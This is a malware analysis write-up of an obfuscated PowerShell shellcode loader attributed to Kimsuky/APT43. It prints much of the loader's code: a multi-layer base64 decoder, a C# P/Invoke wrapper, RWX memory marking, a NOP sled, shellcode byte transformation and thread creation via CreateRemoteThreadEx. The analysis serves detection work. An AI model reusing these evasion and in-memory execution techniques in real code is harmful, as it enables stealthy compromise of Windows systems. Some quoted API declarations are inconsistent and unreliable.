The PowerShell script analyzed in this document (shell.ps1) was recovered from an unprecedented takedown operation of North Korean APT infrastructure, security researchers gained access to actual malware and operational tools used by Kimsuky/APT43. This rare opportunity allows us to analyze authentic, state-sponsored malware rather than samples collected from targeted organizations.
This analysis provides insight into the advanced techniques employed by nation-state actors to evade detection and maintain persistence in high-value targets.
Overview
The PowerShell script (shell.ps1) is a sophisticated malware loader that goes beyond just containing shellcode. It employs multiple components working together to evade detection, decode payloads, and execute malicious code. This document analyzes the complete structure and components of the script, revealing the technical sophistication of the threat actors’ tooling.
Base64 Encoded C# Code
The script begins by storing multiple layers of base64-encoded data in the $app_process_delete_oxf variable:
$app_process_delete_oxf = ”
$app_process_delete_oxf += auto_process_read_xwj “Vm0wd2QyUXlWa1pPVldScFVtMVNXRll3Wkc5V2JHeDBaRWhrVlUxV2NEQlVWbHBQVjBaYWMySkVUbGhoTVVwVVZqQmFTMlJIVmtWUmJVWlhWbXhzTTFadGNFZFRNbEpJVm10c2FWSnRhRzlVVjNOM1pVWmFkRTFVVWxSTmF6RTFWa2QwVjFVeVNrbFJhemxXWWxSV1JGcFdXbUZrUjFKSFYyMTRVMkpIZHpCV01uUnZVakZXZEZOcmJGSmhlbXhXVm10V1MxUkdWbk5YYlVacVlraENSbFpYZUhkV01ERldZMFZ3VjJKSFVqTlhWbHBoVTBaT2NtRkdXbWxTYTNCWFZtMTBWMlF5VW5OWGJHUllZbGhTV0ZSV1pGTk5SbFowWlVaT2FHWnNjSGxXTVZKSFZqSkZlVlZZWkZwV1JWcHlWVEJhVDJOdFNrZFRiV3hvWld4YWIxWnRNVEJXTVUxNVZtNU9WbUpHV2xSWmJHaFRWMFpTVjFkdFJteFdiVko1VjJ0ak5WWlhTa2RqUm5CV1ZqTkNXRlpxUmtwbGJVWklZVVp3YkdFeGNEWldiWEJIVkRKU1YxZHVUbFJpVjNodlZGVm9RMWRzV1hoWGJFNVRUVmQ0V1ZWdGRHdGhiRXB6WTBac1dtRXlhRVJaZWtaaFkxWkdWVkpzVGs1V01VbzFWbXBKZUUxSFJrZFhiazVxVTBoQ1lWbFhjekZqYkZweFVtMUdVMkpWYkRaWGExcDNZa2RGZWxGcmJGaFhTRUpJVmtSR2ExZEdVbkphUm1ocFZqTm9WVmRXVWs5Uk1XUkhWMjVTVGxOSGFGQlZha1pIVFRGU1YyRkZPV2hpUlhCWVZqSjRVMWR0U2tkWGJXaFhZVEZ3ZWxreU1VZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaE1YQnhWV3hrVTFkR1VsaE9WemxPVFZad2VGVnRNVWRWTWtwV1ZtcGFXbFpXY0hKWlZXUkdaVWRPU0U5V2FHaE5WbkJ2Vm10U1MxVXhXWGhWYmxaVllrWndjRlpxVG05a2JGcEhWbTFHVjJGNlJsTlZSbEYzVUZFOVBRPT0=” 11
This encoded data is then decoded and stored in $random_memory_search_adk:
$random_memory_search_adk = [Convert]::FromBase64String($app_process_delete_oxf)
$random_memory_search_adk = [System.Text.Encoding]::UTF8.GetString($random_memory_search_adk)
The decoded content is C# code that is dynamically compiled at runtime using the Add-Type cmdlet:
function sys_memory_link_tgb {
param (
[string]$auto_process_delete_yig
)
Add-Type -TypeDefinition $auto_process_delete_yig
}
sys_memory_link_tgb $random_memory_search_adk
Decoded C# Code Content
After 11 layers of base64 decoding, the script reveals C# code that defines a class named Thread_Link_NetQHL. This class serves as a P/Invoke wrapper for critical Windows API functions. The beginning of the decoded content shows:
using System;
using System.Runtime.InteropServices;
public class Thread_Link_NetQHL
{
[DllImport(“kernel32.dll”)]
public static extern IntPtr VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect);
[DllImport(“kernel32.dll”)]
public static extern IntPtr LoadLibrary(string lpFileName);
[DllImport(“kernel32.dll”)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(“kernel32.dll”)]
public static extern IntPtr malloc(int size);
[DllImport(“kernel32.dll”)]
public static extern IntPtr memset(IntPtr dest, int val, int size);
[DllImport(“kernel32.dll”)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
This C# code is critical to the script’s functionality as it provides direct access to low-level Windows APIs that PowerShell cannot normally access. By using P/Invoke through dynamically compiled C#, the script bypasses PowerShell’s security restrictions and monitoring capabilities.
C# Component: Thread_Link_NetQHL Class
The dynamically compiled C# code defines a class named Thread_Link_NetQHL that serves as a wrapper for critical Windows API functions:
$app_user_open_eua = [Thread_Link_NetQHL]
This class provides access to low-level Windows API functions:
- malloc: Memory allocation
- memset: Memory manipulation
- VirtualProtect: Memory protection modification
- LoadLibrary: Dynamic library loading
- GetProcAddress: Function address resolution
By using C# interop, the script can directly call these Windows APIs without using PowerShell’s more limited and monitored capabilities.
Helper Functions
The script contains several helper functions:
- sys_memory_link_tgb: Compiles the C# code using Add-Type
function sys_memory_link_tgb {
param (
[string]$auto_process_delete_yig
)
Add-Type -TypeDefinition $auto_process_delete_yig
}
- auto_process_read_xwj: Multi-layer base64 decoder
function auto_process_read_xwj {
param (
[string]$auto_thread_write_ayj,
[int]$file_thread_create_wju
)
$auto_memory_write_fol = $auto_thread_write_ayj
for ($i = 0; $i -lt $file_thread_create_wju; $i++) {
$data_thread_create_crk = [Convert]::FromBase64String($auto_memory_write_fol)
$auto_memory_write_fol = [System.Text.Encoding]::UTF8.GetString($data_thread_create_crk)
}
return $auto_memory_write_fol
}
- file_process_create_zot: A dummy function used for obfuscation
function file_process_create_zot {
param([string]$data_memory_delete_exf)
return $data_memory_delete_exf | Out-Null
}
NOP Sled and Instruction Padding
The script contains a sophisticated NOP sled mechanism using an array of byte arrays:
[Byte[]]$win_thread_remove_ryt0=0x90,0x90,0x90,0x90
[Byte[]]$win_thread_remove_ryt1=0x66,0x50,0x66,0x58
[Byte[]]$win_thread_remove_ryt2=0x48,0x31,0xc9,0x90
[Byte[]]$win_thread_remove_ryt3=0x66,0x50,0x66,0x58
[Byte[]]$win_thread_remove_ryt4=0x48,0x31,0xc0,0x90
[Byte[]]$win_thread_remove_ryt5=0x66,0x50,0x66,0x58
[Byte[]]$win_thread_remove_ryt6=0x90,0x90,0x90,0x90
[Byte[]]$win_thread_remove_ryt7=0x48,0x31,0xc9,0x90
[Byte[]]$win_thread_remove_ryt8=0x66,0x31,0xc0,0x90
[Byte[]]$win_thread_remove_ryt9=0x48,0x31,0xc0,0x90
$win_thread_remove_ryt = @($win_thread_remove_ryt0,$win_thread_remove_ryt1,$win_thread_remove_ryt2,$win_thread_remove_ryt3,$win_thread_remove_ryt4,$win_thread_remove_ryt5,$win_thread_remove_ryt6,$win_thread_remove_ryt7,$win_thread_remove_ryt8,$win_thread_remove_ryt9)
These arrays contain:
- Pure NOP instructions (0x90)
- Self-canceling instructions (0x66,0x50,0x66,0x58 = PUSH AX, POP AX)
- Register zeroing instructions (0x48,0x31,0xc9 = XOR RCX, RCX)
These instructions are randomly selected and written to memory before the actual shellcode, creating a randomized landing pad that still executes properly if jumped into at any point.
Execution Flow
The script executes the shellcode through the following detailed steps:
- Memory Allocation: The script allocates memory for both the shellcode and a buffer region using the malloc function from the dynamically compiled C# class:
$win_user_delete_ujj= $app_user_open_eua::malloc([UInt32]$app_user_unload_whw)
This allocates a contiguous block of memory large enough to hold the shellcode and additional data.
- Memory Protection: VirtualProtect is called multiple times to mark memory regions as executable (PAGE_EXECUTE_READWRITE = 0x40):
$cc=$app_user_open_eua::VirtualProtect([IntPtr]($win_user_delete_ujj.toInt64()+$data_memory_create_acq), [UInt32]4, [UInt32]0x40, [ref][UInt32]0)
This changes the memory protection to allow code execution from the allocated memory, a technique commonly used to bypass Data Execution Prevention (DEP).
- NOP Sled Preparation: Before injecting the actual shellcode, the script creates a randomized NOP sled at the beginning of the allocated memory region:
while($data_memory_create_acq -le $random_user_create_wgf/4){
$random = New-Object -TypeName System.Random
$app_thread_update_qln = $random.Next($minIndex, $maxIndex)
$win_thread_link_npu = $win_thread_remove_ryt[$app_thread_update_qln]
$c=$app_user_open_eua::memset([IntPtr]($win_user_delete_ujj.ToInt64()+($data_memory_create_acq)),$win_thread_link_npu[0] , 1)
$data_memory_create_acq+=1
# … continues writing 4 bytes at a time
}
This randomly selects and writes various instruction sequences (including NOPs, self-canceling instructions, and register zeroing operations) to create a landing pad that will safely lead to the actual shellcode.
- Shellcode Injection: The shellcode is copied into the executable memory region using multiple memset operations, with an additional obfuscation step:
for ($i=0;$i -le ($auto_memory_read_fvh.Length-1);$i++) {
$cc=$app_user_open_eua::VirtualProtect([IntPtr]($win_user_delete_ujj.toInt64()+$data_memory_create_acq+$i), [UInt32]1, [UInt32]0x40, [ref][UInt32]0)
$sh = ($auto_memory_read_fvh[$i] + 0x3f) – 2 * ($auto_memory_read_fvh[$i] -band 0x3f)
$c = $app_user_open_eua::memset([IntPtr]($win_user_delete_ujj.ToInt64()+$data_memory_create_acq+$i), $sh , 1)
}
This mathematical transformation obfuscates the shellcode bytes during the writing process, making memory scanning less effective.
- API Resolution and Function Pointer Obfuscation: The script uses additional obfuscation to resolve the CreateRemoteThreadEx API function:
$net_memory_update_ipx = $app_user_open_eua::LoadLibrary(“kernel32.dll”)
$file_process_write_dbn = $app_user_open_eua::net_thread_delete_rax($net_memory_update_ipx, “C__re_a_te__R___e__m__o___t_e___T___h______r_e___a_dE__x___”)
$random_memory_reduce_ona = $app_user_open_eua::net_user_link_pfp($file_process_write_dbn)
$sys_user_find_jfv | Add-Member NoteProperty -Name fnCRT -Value $random_memory_reduce_ona
This code uses obfuscated function names and string manipulation to hide the fact that it’s resolving the CreateRemoteThreadEx API function.
- Shellcode Execution: The script executes the shellcode by creating a thread that points to the beginning of the allocated memory region:
$p = 0
$o = $sys_user_find_jfv.fnCRT.Invoke(-1, 0, 0, $win_user_delete_ujj, 0, 0, 0, [ref]$p)
This invokes the CreateRemoteThreadEx function with the address of the injected shellcode, causing it to execute in a separate thread.
- Execution Loop: The script enters an infinite loop to keep the PowerShell process running while the shellcode executes:
$f = Get-Random -Maximum 10
while([UInt32]$f -ne ([UInt32]6)){
$f = Get-Random -Maximum 10
}
This loop continues until the random number generator happens to produce the value 6, which is statistically unlikely to occur immediately, giving the shellcode time to execute.
Obfuscation Techniques
Beyond the shellcode, the script employs multiple obfuscation techniques:
- Variable Name Obfuscation: Uses randomly-named variables with consistent patterns
$app_process_delete_oxf
$random_memory_search_adk
$win_user_delete_ujj
- Dummy Code Blocks: Includes meaningless operations to confuse analysis
try {
$net_thread_unload_euy = 1 + 1
$data_process_write_xiz = 2 + 2
} catch {
$net_thread_unload_euy = $_.Exception
}
- Multi-layer Base64 Encoding: The script decodes base64 data 11 layers deep
auto_process_read_xwj “Base64String” 11
- Function Call Obfuscation: Uses dummy functions that perform no useful operations
file_process_create_zot -data_memory_delete_exf file_memory_update_lqf
- Mathematical Transformation: Applies a mathematical formula to shellcode bytes to obfuscate them
$sh = ($auto_memory_read_fvh[$i] + 0x3f) – 2 * ($auto_memory_read_fvh[$i] -band 0x3f)
Conclusion
The PowerShell script is a comprehensive malware loader that goes far beyond simply containing shellcode. Its key components include:
- Dynamically compiled C# code for direct Windows API access
- Multi-layer base64 encoding for obfuscating the C# code
- Helper functions for decoding and memory manipulation
- NOP sled generation with randomized instruction sequences
- Mathematical transformation of shellcode bytes
- Extensive obfuscation techniques to evade detection
This sophisticated architecture allows the script to:
- Evade static analysis through multiple layers of encoding
- Bypass PowerShell monitoring by using C# for critical operations
- Confuse dynamic analysis with dummy code and randomized execution
- Implement fileless execution by operating entirely in memory
- Ensure reliable execution through careful memory preparation and protection
The script represents a highly advanced malware loader designed to be stealthy, resilient, and difficult to analyze.
Attribution and Significance
This PowerShell loader exemplifies the technical sophistication of North Korean APT groups, particularly Kimsuky/APT43. The techniques observed in this script align with previously documented tactics from these threat actors but demonstrate continued evolution in their capabilities. The multiple layers of obfuscation, hybrid PowerShell/C# approach, and sophisticated memory manipulation techniques indicate a significant investment in development resources.
The recovery and analysis of this authentic malware sample from the “APT Down” operation provides the security community with valuable insight into the current state of North Korean cyber capabilities. This understanding is crucial for developing effective detection and mitigation strategies against similar attacks in the future.